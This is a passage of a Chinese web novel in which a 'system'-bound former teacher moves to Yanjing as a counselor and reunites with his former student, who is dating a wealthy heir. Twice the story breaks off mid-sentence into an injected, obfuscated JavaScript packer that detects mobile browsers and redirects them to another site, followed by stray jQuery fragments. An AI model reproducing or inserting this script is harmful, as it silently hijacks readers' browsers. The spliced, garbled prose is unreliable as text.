“这就叫成长吧。”他定了定神,“坦白说,我从你身上学到很多。” 濮怀玉也没想过自谦,点了点头:“那很好了。” 一时间还真有点不舍。 「她现在走到哪里了?」 「叮,报告宿主,任务对象被学弟拦下,此刻正在劝学。」 “好好学习,有时间可以强身健体。” 学弟眼睛亮亮,像只小狗:“我会的!我会努力考去燕京的!” 濮怀玉只是说:“你喜欢燕京就好。”她没有接学弟递来的信封。 那上面甚至喷了香水,有兰花袭人,其实气味不错。但濮怀玉一想到里面装着什么,就觉得摸到烫手,摸不到烫眼睛,趁着学弟自顾自傻乐的工夫从旁边绕了过去。 她成人了,高考也结束了。比起终于能够松上一口气,濮怀玉更觉得,人生这个课题对她的考验就此刚刚开始。 虽然,高考完终于能多陪陪妈妈和姐姐;虽然,招生组招待她去燕京实地游玩了一番;虽然,她还很年轻,第二次出隋城就是招生组前段时间带她去燕京玩……但濮怀玉跟院长和陆乔交代过了,暑假既然这么长,她不能一直待在家里的。 她要买一张火车票,坐车去燕京,为生活费和家里做点力所能及的小事,也算提前熟悉陌生的首都。 对了,曼曼姐姐给她回信了。下次濮怀玉去燕京,无论如何都不能瞒着这位几乎不露面的姐姐,否则她会生气的。 初到燕京,错落有致的奢华景象构成了令无数人向往的欲|望都市,夜晚时分像是彼此咬合的、密布的金银。 濮怀玉跟秦紫怡形容的时候,她抱怨:“燕京还算好的,物价高,但好歹大家在地铁上都穿黑色冲锋衣,到了沪城你就知道什么叫做土鳖——我们就是土鳖!” 但濮怀玉得见的,不过只有燕京而已。除了纸醉金迷,还有沿途保留下来的老旧街道和建筑,有些甚至可以称得上破败,就好像在催促她跳进滚滚的欲|望之河中,过去就在这里,好好地保存着,不需要过多的留恋。 “这些旧房子的价值难以想象的高,拥有一两座很不错,能让人一下子成了亿万富翁,但不能够真的住在里面,否则人会越来越小。” 倒也不必在二者之间做抉择。 想起身边人的关心,远方亲人的邀请,濮怀玉为这些小事感到安定。 为物质而物质,想想就让人觉得绝望。她觉得曼曼姐姐肯定不是这样,曼曼姐姐从来不会让她觉得贫瘠和绝望。 八月初,濮怀玉收拾好了行李,坐上前往燕京的火车。在黑夜里睡上一晚,第二天就能抵达。 这次她是自己来的。醒来后,濮怀玉盯视着窗外的风景,就好像要牢牢记住这趟旅途的开端。 …… 那么,摆在隗祯面前,新的问题来了:任务对象从隋城到了燕京,他的工作还在隋城,怎么办? 他思索的问题,系统怎能计算不到。燕京是隗祯过去的舒适圈,同时考虑到这位宿主在第一阶段态度良好,能够及时改邪归正,系统调整了决定。 「恭喜宿主顺利通过第一阶段新手教学,第二阶段系统将提供两个匹配选项。」 「燕京大学心理中心专职心理健康教师or燕京私立心理咨询机构咨询师。」 「请宿主依据自身条件,在一周之内作出职业选择,尽快进入人生新阶段。」 27. 027 「不是说好要等友好值满了才可以自由选择吗?」 系统言简意赅:「综合考量。」 在大学里的心理咨询室任职,听起来是个很好的差事。在大学工作肯定不需要赛课了,平时也比较清闲,可能要做些讲座,但再怎么坏,应该都不会比当高中老师坏了。 隗祯自己念大学的时候对校园活动涉猎不多,一直忙碌于跟几个朋友的项目,这倒也不失为一个弥补过往岁月的好时机。 况且,从硬件设施看,燕大还在校区内分配住房给青年教师,即便不住,也有租房补贴。 有闲暇,压力还小,教师宿舍跟学生宿舍又离得着实不远,就隔着一两栋教学楼,难免有交集,一切都很完美。再被濮怀玉叫上一年隗老师,倚仗着近水楼台帮她度过19岁时的难关,他就可以成功身退了。 听起来百利而无一害。只可惜隗祯不够识好,斟酌着说“我再想想”,便投入进辞职的流程。 年限未满,违约金对如今的隗祯来说是笔不小的数额,却是不解约不行了。不止在他手底下学习的新老师惊讶于自己脖颈上家人赞助的Tiffany马上就要“克”走一个为人很不错的带教,何老师也觉得奇怪,问他是不是有什么难处。 “你在一中干得挺好的,怎么就要走了?”她知道隗祯的假身世,因此随后提醒道,“违约金好几万呢,你在这里教了一年不到,攒的钱全拿出来都不够赔。我看太不划算,不如再干几年。” 言辞之恳切,隗祯也有点不好意思,毕竟受到的栽培是实打实的。但既然系统明确说过,会有安排的人兜着,给他出这笔钱,隗祯便也不那么在意了。 “做老师实在不太适合我。”他委婉地拿出准备好的理由,“有太多跟教学没有关系的事情了,何老师。这不是我想要的。” 何老师一听就明白了,这何尝不是她在今昔对比中生发出来的心声,确实合情合理,只是仍有些惋惜:“这也是没办法的事。不过你要想好了,你离开了一中,现在外面的工作可不好找。能在一中熬到退休的老师,晚年最起码有个保障,别捡了芝麻丢了西瓜。。” “何老师,您可别开玩笑了。我之前跟魏老师聊过我们学校老师的身体状况,现在当老师跟您那时候不一样了,职业生涯要想寿终正寝,属于概率事件。” 至此,何老师也不再多说。 最后是那位慷慨给予隗祯住所的远方亲戚出面,交齐了所有的违约金。 中年男人神态间隐约有股不太自然的慈祥感,对视久了让隗祯有点恶寒:「系统,这是你吗?」 「宿主可以看作我的化身之一,但系统并没有性别,所有的身份都是为了任务。」系统依旧是油不进盐也不进的语气,「一周的时间快要到了,请宿主尽快做出选择。」 如今,“亲戚”挤出一点状似有点温度的笑脸,询问道:“阿祯啊,辞职不是大事,但你想好之后干点什么了吗?” “……”明明是个非人的机器,却这么的恶趣味。 只是一瞬间,微妙的心情就像骤然被打开阀门,奔涌而出了。 面对高中生还好,他真的要被称呼着“隗老师”,去教一群大学生吗?到时候濮怀玉或许就在台下,她很快就能缓过劲儿,破除青少年时代的滤镜和情分,知道他也不过如此,甚至比什么都不做还要再下一个档次。 “还是在机构历练吧。” 也算尘埃落定,隗祯做出选择,“要去教大学生,我心里没有底。就算什么都可以捏造,我也不想被看轻。” 尤其是被从前的学生用截然不同的眼光看待,隗祯只是稍微作出一点假设,便觉得不能接受——无异于从天堂掉到地狱。 他确实被放进了不合身的情境,但隗祯并不愿意真的“不合身”,就像穿了一套劣质的、皱巴巴的西装,短处全都暴露。 “亲戚”像是一下子欣慰许多,只是那副拘谨到僵硬的肢体语言,看着实在奇特:“你变的越来越成熟,越来越谦卑,叔叔真的很高兴。” 变谦卑了吗?无论是取笑还是真心,隗祯默念着“并非如此”,面上笑着表演慈和孝。在这一点上,隗祯倒找回了几分从前与人周旋时自持于身份拿腔拿调的虚伪来。 从隋城搬到燕京,再到有份工作基本安顿下来,已然过去了两个多月的时间。 六月末隗祯辞职,七月中旬走好流程开始搬家,七月末处理好租房的各项事宜并在随后入职,九月初隗祯已经有了稳定的客源。 心理咨询固然有之,但也有不少人借着心理咨询的名义,找隗祯做财务咨询。在他的舒适区里,要想财源广进根本不是难题。 况且来这里的很多人,产生诸多烦恼,本身就是因为贫穷。给他们调节情绪的同时,隗祯往往也会提供一些财务上的建议。相比前世隗先生的金口玉言,现在的隗老师可真是打了骨折价了。 只要有人前赴后继想要钻进“天圆地方”中央的小孔隙里,只要是跟钱打交道,隗祯就不可能是穷人。他有这份自信。 所以,直到十月末,隗祯的经济状况相比先前在隋城时好了很多,至少可以给客房一样的住所添置一些赏心悦目的装饰,装作他要在这个世界长住。 “隗老师,今天接待量又超标了啊?” 陈琳笑着跟这位新同事打个照面,心里所想截然相反:帅哥就是好命,她下辈子也要当帅哥,再也不愁没有来访者了。 羡慕的同时,还忍不住多看一眼。再看一眼。怎么看,怎么觉得好看。真真是没见过的姿色。 又一个同事探出茶水间:“我就不羡慕,一天四个对我来说已经饱和了,这钱活该隗老师挣啊。不过隗老师,对访客做心理咨询很消耗能量的,一天三到四个就够够的了,还是要量力而行啊。” 心理咨询行业乱象丛生,隗祯所处的这家舒灵心理在里面属于难以置信的正规。老板是辞职的前心理医生,自立门户后也没有放低标准,更不用说卖课考证了。 正因为保持了应该有的严谨格调,所以客源很稳定。其实隗祯接手一部分就够吃了,但他的眼光通过客户之间口口相传,不断有新的来访者登门。 “之前当老师,习惯一天接待不少人了。”他笑纳了同事的建议,“我会注意的。等过了这段过渡期,来访量稳定下来,我会仔细规划。” 笑时俊逸、贵气,却又因为职业特性增添几分亲近感。对某个人特定的友好有时候理由很简单,就比如隗祯长得好,衣品又能锦上添花,对客户和同事的眼睛有益,不会有谁忽然想把污言秽语投掷到一朵花上面的。 百分之六十已经很够看,何况现在是百分之八十。 「叮,宿主已成功将‘防OOC机制’的数值上调为八十。系统将实时进行风险监测,监测期一个月。」 一个月的监测期早已度过,解决好自己的生活问题,隗祯也终于可以考虑跟濮怀玉再见面的事宜了。 换一个地方,就像是重新认识一般,他的心情很是微妙,莫名怯懦纠结起来。太早去打扰,怕惊动刚刚开始的大学生活;捱过这么多各自一方的时光,又似乎生分了。 或许是孩子的心太过瞬息万变,多少都有点三分钟热度。濮怀玉到底年轻,隗祯想不出他们怎样以师生外的身份见面相谈,少了这层关系,本就被冲淡的情分会不会再淡几分,变成无人问津的一滩清到不能再清、无味到不能再无味的水。 「叮,请宿主放心拨打任务对象的号码,据系统检测,任务对象依旧在使用,目前接通率为:90%。」 隗祯有点心烦,看了眼墙上的挂钟:「晚上下班再说吧。」 明明现在就是午休时间,不懂他在这里矫情什么。系统刻薄道:「要见就见,91的友好值还不够吗?不理解你在进退两难些什么。」 「你是机器,你当然不能理解。」 如今隗祯也是强硬起来了,但看在他只折磨自己的份,对任务对象很有益的份上,系统没提起电击。 反正隗祯偏就是不从,心里忸怩,在厨房里卷起衬衫袖子张罗晚饭的动作倒很干脆,小臂肌肉跟牛肉的肌理相互映衬,再让切刀的寒芒反射出紧锁的眉。 终于,他在唇齿间优雅撕扯红酒味的牛肉时,就着一层薛定谔的酒意,似乎薄纱微微被风拂起,他把电话拨过去。 “嘟”“嘟”。 随后传来问好声,因为被过滤一层更加沉静:“隗老师好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但要濮怀玉几分钟以内想出一家合适的餐馆,她有些日子不自己拿主意,全靠热情的同僚安排,一时还真想不出来。 再加上环境嘈杂,濮怀玉只说吃完饭再回拨他。 “对了,隗老师。”她喝了口聊胜于无的蛋花汤,“我那个小灵通现在是游戏机,我告诉你我常用的号码吧。” “好。” 原先,濮怀玉准备寒假回隋城过年的时候继续叫上隗祯,一起去热闹热闹。到时候把号码加了,微信加了,以后要寄特产只要提前说一声,也容易。但现在他辞职了,若是不当老师,恐怕不再有寒假和暑假的概念,濮怀玉只得转换思路,抓住每一次机会。 跟篮球队的成员告别,濮怀玉踱到宿舍楼下,借着路灯翻看宿舍群的聊天记录。 灵光乍现,濮怀玉重新拨回去:“隗老师,你用号码搜索一下我的微信吧,我把大众点评里的界面发给你。” 她将地点定在燕大附近一家胡同里的炒菜店,口味好到光是本地人就得排好久的队。“那里的锅包肉很好吃,味道不是特别甜,你应该也能接受。” 许久不见,确实有新鲜感,比如濮怀玉开始好奇隗祯忌甜的程度。总不能锅包肉外面那层人见人爱的脆壳,他也一点都不感冒吧。 “好,麻烦你做攻略了。” 失去粗糙的杂声,隗祯的声音就这样迎接夜风,前来骚动她的耳廓。 比较是幸福的小偷,但濮怀玉还是比了,把他跟最近的身边人比较。一比发现,根本不能比。 “没做攻略,就是吃过而已。”她说,“隗老师,你来燕京应该也没多久,我请你吃吧。” “那怎么行呢……” 濮怀玉沉声:“我觉得行。” 在她的认知中,隗祯换了一个地方重新开始,肯定需要适应,就像当初他刚入职一中的时候那样。 但等他们真的在小店碰面时,濮怀玉仅一眼就判断出来,隗祯从一中离职就像鱼离开了自行车,没有隐情之说。 依旧是那张放在画报上都嫌背景廉价,值得入驻古董画框的面孔,到来跟质朴沾不上边的燕京城区跟鱼被放生汪洋一般,穿铅灰色大衣,比起在学校的时候高不可攀得多,如今告诉她说:“我现在不是老师了,还是不要叫我隗老师了。” “哦。”濮怀玉回过神,正色道,“那就隗叔叔好。” 「友好值-6」 「当前友好值:85。」 「当前怀疑值:70。」 28. 028 被濮怀玉否决了精心准备的穿搭,隗祯觉得有点遗憾。 难得可以将衣品解放大半,前世他可比这个要更“过分”一点,是会喷香水,戴饰品点缀的,但濮怀玉似乎并不喜欢这种小心思相辅相成的风格。 怎么办呢?得好好打扮一番才行,给异地的第一次见面留下好印象。 就这溢出屏幕的松弛感,即便是系统都有点错愕,禁不住提醒他:「刚才濮怀玉的心情要是再激烈一点,你就要死了。」 花里胡哨整这么多,人死也白搭。 从前隗祯或许会有点焦虑,但现在他想的很明白了,濮怀玉的情绪不是一马平川,这样反倒昭示她刚刚走过动乱的十八岁,如今还在反复无常的余韵中,他不能做些非人要求:「我知道,我清楚数值会慢慢回落。我想,你应该也很清楚。」 恰如他所料,二人先后坐下后不久,濮怀玉对他的怀疑值就下降到四十。至于友好值,隗祯心想,来日方长。他没有打算越过她的朋友和亲人,如此也很好。 “我要一份锅包肉,一份海鲜面。隗……叔叔,你要吃什么?” 被一连叫了两次叔叔,隗祯颇感岁月不饶人,六岁的年龄差放在那里,这样叫也不算冤枉人,只得悻悻翻动纸张陈旧却整洁得看不到污渍的菜谱,问:“就点这两样,够你吃吗?” 他眼眸一抬,睫毛微动,因为角度倒像是一个有意的上挑,“再点两道菜吧。至于主食,我跟你要一样的海鲜面就可以。” 濮怀玉扫两眼,勉强点了份炒合菜荤素搭配,紧接着消极怠工起来:“就这样吧。这家店份量挺足的,小心吃不完。” 由服务员收好菜谱,一递、一拿之间两人好像挑开了话匣子,都有话要说。 确认过他现在如鱼得水,濮怀玉仍是疑芽未消:“你突然从一中辞职,不是被人排挤走的吧?” “没有,受不了教师这个职业而已。”隗祯轻描淡写,“亲戚介绍了燕京这边的工作,我就过来了,在一家机构做心理咨询师。” 濮怀玉:“那我以后找你得先付钱。便宜点,行不行。” 平平无奇的两句话,却在隗祯心上惹出圈圈涟漪。剥离那条尊师重道的信条,她其实很擅长一本正经开点幽默的玩笑。 “我没说过要收你的钱,濮怀玉。” 她点头:“你现在的办公室,肯定很适合写作业。” “我还什么都不是呢,没有独立的办公室,得跟同事的工位紧挨着,虽然他们大多数时间都在忙。” “新同事不错吧?” “目前看不错,我好像很难遇到坏人。” 你可真会炫耀的。她的眼神好像在隐晦地吐槽他。 上菜的速度不算快,但一端上桌就能闻到锅气,是做饭的生气。 濮怀玉对饭餐的审美很纯朴,海鲜面在炒合菜后端上,她首先拉下夹克衫拉链,露出里面薄薄的白色毛衣,然后埋头吃饭。 干练地吃,大口大口吃,濮怀玉还不忘在咽下后满足地回应说:“意料之中。”对隗祯而言,生存应该很容易。 不过她下辈子依旧不想做帅哥,继续做她自己就很好。 “你在燕大感觉怎么样?” 濮怀玉吸一口面条,思索片刻答:“是片风水宝地。” 学业好,找对象也容易。 此时的隗祯尚未解开全部含义,只把这句精炼的概括当做俏皮话。他也相信,就算燕大聚集了全国的青年才俊,濮怀玉同样可以做到出挑,因此笑着回应她:“看来是很顺利的意思了。生活费够花吗?” 濮怀玉刚准备回答,银白色oppo的默认来电铃声响起。她看了眼来电名,挂断后跳转微信界面发了条消息,然后熄屏。 “够。一中给的奖学金够我用好久了。” “那就好,你要是有困难,可以联系我,我现在的收入比在一中的时候好看很多。” 不当老师后,气质都考究了很多。但比起那些由欲念驱使、被财富吞没的男男女女,面前的男人对金钱似乎有一种都在掌控中的冷情感。 眼下隗祯耐心咀嚼完一块锅包肉,下咽后悄悄揉动腮帮,借着小动作瞥一眼又一次亮起的屏幕,说是冷情、理智,明明是无需刻意营造的反差,“你不接电话吗?万一有要紧事。” 濮怀玉再次挂断,这次没有在微信上好言好语地说话,直接将手机翻转过来。 “他不会有要紧事的。”濮怀玉夹了一块肉到碗里,“所谓的要紧事,估计也是从哪里听到挑拨。”然后不分青红皂白来骚扰她。 有点烦。 隗祯以为是她在大学新交的朋友,不禁端起一点做老师、也做长辈的架子来: “濮怀玉,大学跟高中不一样,每个人都有自己的考量,最后大多数是要回到自己原本所处的位置上的。你可能再也交不到比秦紫怡、卫殊她们更好的朋友了,但也不用伤心……” “我没有伤心。”濮怀玉将贝类的壳剔到碗外,“啪嗒”落下一声清脆。 而后她盯视着隗祯的双眼:“隗叔叔,你已经不是老师了。总是担心我,觉得我很脆弱并且为此心惊肉跳,对你的情绪也不好。” 隗祯没觉得哪里不好,他知道一场灾祸必会降临在濮怀玉身上,而她已经十八岁了。 时间不多了。 有那么一瞬间,隗祯要脱口而出,让濮怀玉多爱惜自己一点,她不能应对所有的问题,命运有时候很残酷。 但他不能开口。系统没有说过透露天机的后果,可隗祯不能恣意打赌,赌回程票会不会被撕毁。 “那就换个话题。你刚刚不是提到我的办公室吗?就跟在学校的时候一样,你照样可以来玩。” 濮怀玉:“我可不是过去玩,我都是为了陪我的朋友。” 先前陪秦紫怡,后来陪付可心。为了她自己去的次数,实在是太少太少了。 “也是。” “不过你都这么说了,我会去的。”濮怀玉倒也不可能真的放过他,“你不是我的老师,但你可以是我的大半个朋友。” 不管是真是假,这句话让隗祯的心情好了不少,第一通电话前的犹豫都被一扫而空:“所以,今年寒假还会邀请我吗?” “那当然。你现在在燕京的心理咨询机构工作,含金量更高了。”濮怀玉也不避讳,“小地方的人,会有点大城市迷信。” 就这样提前定下新年的相聚,再慢慢给这顿晚饭收尾。男人吃的斯文雅致,怎么看怎么漂亮;女孩专注于食物,忙着给蓬勃的生机注入能量。 濮怀玉开始擦拭唇边的油腻:“你要打包一份用作明天的工作餐吗?好不容易出来一次。” 这顿饭并不是隗祯偏好的口味,他对糖油混合物从来不感兴趣,炒合菜的品质也不太合适,唯一还说得过去的是海鲜面。 但他来到这里后,吃过太多不合适的饭,他也无法请濮怀玉吃一顿在他认知中很合适的饭,所以比起单纯地填饱肚子,隗祯将这顿饭看作一次跟濮怀玉的记忆共享。 “那就打包一份面吧,我明早上班前吃。” 濮怀玉点头,作势就要付钱,被隗祯拦下来,自己先行扫了码。 她蹙眉:“说好我请客。” “你只是说过,可没跟我说好。” 濮怀玉叹了口气,很无奈。隗祯以前没怎么听过,如今觉得很新鲜。 “外面天黑了,我送你到学校门口吧。” 濮怀玉翻开手机,幸好没有新的未接来电打来,不然太麻烦。“顺路吗?顺路的话,到前面一个十字路口就行了。” 隗祯谎称顺路,濮怀玉便也相信了。 入夜的燕京一片星河斑斓,车水马龙,喧闹声不绝于耳。供饮食男女狂欢的店面终于递出“open”的木牌,然而不远处的摩天大厦,许多小格子仍亮着灯,咫尺人间。 也是今晚没有实验课,所以濮怀玉终于能够跑出来,看一看这样的光景。 “就到这里吧。”她将双手插进夹克衫的口袋,身后红灯开始闪烁,拥挤的车流在触及白线前停留,“你明天还要上班,早点休息。” “你也是。别让自己太辛苦了。” 他说,“下次我来决定餐厅,换换口味。” 眼前这双眼睛温柔而深邃,尽然没有了初见时方寸讲台上量体裁衣般的探究意味,看人时有股笃定到难以拒绝的专注。 濮怀玉点头:“可以。再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556844|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 联系。” 分别后,濮怀玉停在路边等灯变绿,终于向前走。 她往前走,身后车喇叭跟着一路响,越听越不对劲。终于扭过头,银色法拉利挨着马路边缘慢慢前行,一张硬朗压过柔美一筹的脸探出车窗,笑容俊朗中透出不怀好意。 “我都看见了。”戚致廷小幅度歪头,“你觉得我会不会告诉Jacob?” 分明是抬眸看人,却像居高临下俯身,笑着告诉她“你完蛋了”。戚家的少爷要是对谁露出这种表情,那TA就得乖乖滚蛋。 但濮怀玉只是冷漠道:“随便你。” 早知她软硬不吃,什么都不说表情也像甩脸子,戚致廷倒没有被激怒:“怎么这态度啊,濮同学,我是在征求你的意见哎。” “跟我没关系,嘴长在你身上。” “别啊,上车洽谈如何?今天我的爱车可没有载别的人,你是第一个。”戚致廷不慌不忙跟着她,“正好我代Jacob送你回学校,这不是你想要的面子吗?他不在,我满足你。” 濮怀玉瞥了他一眼,突然跑起来。戚致廷笑容还僵在嘴边,她就仗着脚力好淹没在人群之中,瞧不见影子了。 戚致廷马上加码,然而车的性能再好也没用,市区限速不说,这个点还堵车。 不紧不慢亮起的红灯似在嘲讽,此刻他笑容全无,一拳锤在方向盘上。 等着吧,濮怀玉。他心想。 与此同时,濮怀玉换了条远点的小路,戚致廷堵车的工夫都够她走进校门了。 然后,她回拨给三番两次打电话,惊扰她吃饭的烦人家伙。 未接电话显示“Jacob”,括号里的鲜红数字更是烦人程度加倍。电话一通,她便开口:“我给你看我的课程表,不是我没有课的时候你就可以随意连环call我的意思。” “我已经在微信里告诉过你了,我在跟以前的老师吃饭,现在没空接电话,吃完饭我会回拨你。” “别为难我,别忘了我从没有为难过你。” …… 午休时间,隗祯正在楼下拿咖啡。今天下午比较清闲,只需要接待一个客人,不过也确实是一位出手大方的贵客,所以他也拿出服务方应该有的态度。 对服务员道过谢,他准备带回工位,便听到系统提示:「检测到任务对象与宿主的距离不足五十米。」 这可真是个美好的巧合。他推开门,目光环视片刻,便发现了路边等候的濮怀玉。只是这一次,她和那次二人见面截然不同。 allblack穿搭很锋利,也相当适合她。黑色高领毛衣配黑色阔腿裤,脖颈处的YSL标和腰带折射出冰冷的金属光泽,单看很秀气的皮鞋在此刻颇具先锋气质。她就这样随意倚靠在墙边,有些不悦地双臂环抱在胸前。 就像秀场的模特,不过是次等,因为比起一身的YSL,更容易让人注意到她本人。 而这一身不菲的行头,根本不是濮怀玉能够负担得起的。 随后,一个看着三十岁左右,穿着像是巴黎街头手艺人的男性上前,几乎是看见她的一刻、眼睛就立马起来。 隗祯随即横眉,说不出什么心情。不过很快,根据濮怀玉的表情,她拒绝了这位应当是陌生人的男性。 也该拒绝,他太老了。 隗祯长舒一口气:「应该是我想错了,就算濮怀玉要恋爱,也应该是跟年龄相仿的年轻人交往才对。」 这没有什么,青春期按捺下的躁动和兴趣总得在更加无拘无束的空间里得到释放。隗祯自己不恋爱,但他明白这一切就算发生,也合情合理。 然而接下来,当濮怀玉第三次看手表,高调的蓝色玛莎拉蒂终于停靠,从中下来一个青年。一八零出头的身高,面部立体,最有混血特征的是灰蓝色的眼睛。 一见面,他就张开双臂。濮怀玉看着很是不快,将表盘指给他看,然后勉强接受了这个拥抱。 皱着眉、不耐烦,却还抱那么紧。 「被冷面校草狠狠爱了嘛。」 ……可不就是冷面校草“狠狠”爱。 隗祯:「怎么这么快。」 系统嘲笑他:「真来了个年轻人,你又不高兴。」 29. 029 比起身上的YSL套装,濮怀玉更中意简晟身上这件茶色哈灵顿夹克,拥抱的时候抓皱了纹路。 但简晟的穿衣取向并不硬派,他只是想让自己在濮怀玉身边更凌厉一点,不至于被压过去、不像做男朋友的。此刻被她拿手抓有些心喜,他还有点得意:“怎么样,你这么漂亮,我这么帅,肯定没人再说我们是女A男O了。” 说话的时候,好像脑子不太好使。 但这双眼睛太漂亮了,像起雾的海平面,因此濮怀玉模糊地“嗯”了两声,对简晟较为传统的恋爱观并没有发表意见。 “来的路上堵车了?”她随口提问,“不能提前,至少要准点吧。” 一说起迟到,简晟难免心虚。 他的时间观念其实还不错,但好友给他出了点子。一直都是濮怀玉驳他的面子,这像什么样,总得小小地反击一下。 戚致廷算是他在小圈子里走得最近的朋友了,两家的情况彼此都是相知的,因此戚致廷分析得有理有据:“你看看你母亲,不管她背地里养多少小白脸,明面上对简先生都得恭恭敬敬的,就是简先生要她亲手摁死一个都不敢不从。你跟濮怀玉才恋爱多久,看看你自己,都被调成什么样子了,哪有简家少爷的样子。” “戚致廷,你说什么呢,什么叫我被调成什么样子了。” 但他说的确实不错,简晟想到最后,还是觉得有必要小发雷霆一下,所以早早到两条街外等待,到时候再上前,刻意让自己迟到了五分钟。 如今被问起来,被这双漆黑如墨、认真时让人心颤的眼睛看着,简晟张口结舌,一时间说不出话来。 最终濮怀玉伸手,像逗狗一样轻轻揉揉他的眼角说:“下次不要这样了。对了,刚才有经纪人找过来,说要让我模特出道。” “因为你合适。”被触碰的地方泛起热意,简晟何时被人这样对待过,回过神时还在久久心动着,“你又不是没有见过戚致廷带过来的女伴,跟她们比,你一点都不差。” 濮怀玉皱眉:“不要再说这样的话,我对比来比去没兴趣。” “小玉,你比她们所有人加在一起都要特别。”简晟只以为女朋友在吃别的女性的醋,想要牵起濮怀玉的手,结果被躲开了,这才正色一点,“你要是实在不喜欢,我以后不比较了。” 都说物以类聚,戚致廷是个什么样的货色,很好看出来——最常见的那类会花天酒地的公子哥。不论是家里人的交情影响还是真心臭味相投,简晟跟他玩到大,即便不在现实中依葫芦画瓢,观念态度上难免向其靠近。 所以为什么选择他?首要原因是长相。 其次,如果不是真的验过简晟是处男,那句没谈过恋爱至少有一大半是真的,濮怀玉恐怕会甩手就走。如今留下来,不过是忽略这个朋友,简晟还算可圈可点,对她胃口而已。 恋爱不就是这样吗,濮怀玉嗤笑他交私生活不干净的朋友,再为他的外貌和个性驻足,看不上却又下得去嘴。 他不也是这样吗?他的朋友不也是这样吗?但是,即便这样彼此看似公平地相互厌嫌与接受,濮怀玉也清楚,自己处于弱势的一方。 她先应了一声,然后朝简晟笑了一下,冷漠无色的冰面裂开一个恶劣到夹杂些许轻佻感的小角:“我被递名片,不跟你给我的这套行头有关,我把我的名字倒过来写。” 简晟想说什么,却被濮怀玉揽住肩膀。他们原定要一起吃午饭,去逛逛商场,然后再去参加熟人局——对简晟来说是熟人局。眼下不能再继续耽搁了。 “其实,要是可以,我也想好好打扮打扮你。我在十岁的时候收到一款基础款芭比娃娃,只有一件穿在身上的粉裙子,我告诉过你的。” 她漫不经心地推开门,不忘偏过头对简晟说,“我很遗憾自己十八岁还是没有打扮‘芭比’的能力,Jacob。” 这之后的五分钟,从被老板认出到被恭恭敬敬迎入包厢,简晟都是愣的。 “……我不是Barbie!”和濮怀玉不同,他吐露的是圆满的英文发音。 濮怀玉重归面无表情的模样:“这只是个不恰当的比喻。”她又不会把肯买回家。 简晟当然配不上芭比,职业多变的芭比永远是成功的,寄寓了太多少年时代的梦想。尽管跟随时间变迁显露出缺陷,但她依旧是一个在女人的世界闪闪发光的符号。 至于简晟,他在濮怀玉的世界里最重要的title是“濮怀玉的男朋友”。毕竟没有这个前提,简晟对她来说什么含义都没有。 午饭是创意法国菜,主厨介绍时濮怀玉就盯着餐品看,简晟说“你可以边吃边听”才堪堪动了刀叉,然而还是会被尊重人的本能打断——听人说话得看着对方的眼睛才叫礼貌,难道不是吗? 主厨也是混血,笑着赞叹道:“简先生,您的女朋友真的非常……有趣。”他原本想说可爱(cute),但老板说这位JacobKan先生非常重视女朋友,要他小心年轻人的嫉妒心,因此转口改了措辞。 如此小心,还是引起了简晟的注意。他叫来老板,附耳说了两句话,这之后主厨只能像普通厨师一样待在厨房,菜肴都由服务员陈上来,也没了讲故事环节。 濮怀玉没有问询,对她来说故事只是顺带,最重要的是饭菜本身。 饭后甜点环节,黑森林蛋糕端上桌,濮怀玉的表情有片刻松动。亮出小勺,切下一角入口,她就着拿铁在口腔内留下的醇香享用。 简晟搅动美式:“你还真是小孩子口味。” 太喜欢巧克力,就连饮料喝的都是带着热意的巧克力。 “所以呢。”濮怀玉用备用勺挖一小口送到简晟唇边,在唇缝间挤了挤,被他半推半就接受,“你吃到嘴里,会吐出来吗?” 简晟不仅不会吐出来,他还低头去抿勺上的奶油,羞中带怯地露出一小截舌尖,有股说不出的风骚劲儿,再回答她“不会”。 濮怀玉望着被舔过的圆勺,微微皱眉。他有这方面的心,她却有点冷漠,把勺子丢给他,用平稳的语气抑制不感兴趣的心情:“放你那边吧。” “你刚才还新拿个勺子。”简晟也缓过劲了,不过紧随其后的不是恼愤,而是抱怨她实在太见外,“还嫌弃我。” 濮怀玉低头挖着自己的蛋糕:“你想吃我的口水,我不想吃你的,很难理解吗。” 简晟有点难过了。 “……不过,你刚才确实挺可爱的。” 这下简晟又高兴了,给自己点了块草莓蛋糕。 吃完饭有司机等候,将两人送到skp。知道濮怀玉不喜欢大张旗鼓,简晟没带保镖。 购物完毕,除了她待会儿要穿的Dior外套,其他衣服都会被送到他家里面,因为都是简晟的。 本来应该给濮怀玉置办一套珠宝首饰,但她坚持只戴那个玉坠,手腕上也只愿意放那块不足一万的浪琴,说是在燕京的姐姐送的成人礼物,别的饰品再好也比不了它的意义。最后真的变成濮怀玉按照自己的爱好随便打扮简晟,买了一身又一身。 不是简晟想要的硬派,但很适合他,带着艺术气息的漂亮小王子。 简晟分明很喜欢,但既然下定决心转换风格,果断拒绝道:“漂亮的是你,我是handsome。” “You''reveryhandsome.所有人都知道。”濮怀玉坐在VIP室的沙发上,姿态慵懒,顺着他的话说,“但在我眼里,你特别在既漂亮又可爱。” 经理适时地吹捧“二位真般配”,让简晟心花怒放,大手一挥全都买了下来,离开的时候满足到恨不得搂住濮怀玉的脖子,好像她才是花了大价钱的那个。 “别在公共场合搂搂抱抱的。” 可惜濮怀玉很古板,“就知道给别人的眼睛添麻烦。” 简晟有点委屈:“哪里添麻烦了,我们明明那么般配,明明对路人的眼睛很好。” “谁主动说要看了。松开。” 简晟只好委屈巴巴松开了。 晚上的熟人局在一家club,戚致廷当然也在场,带了女伴过来。一见到简晟,他亲切地唤着“Jacob”就要抱过来,却被简晟推开。 他皱起眉:“搞这种搂搂抱抱的做什么,本来小玉就跟我说她差点因为你,觉得我是lgbt。你认识小玉,不帮我介绍给其他人就算了,还越过她来搞这种腻歪的小动作。” 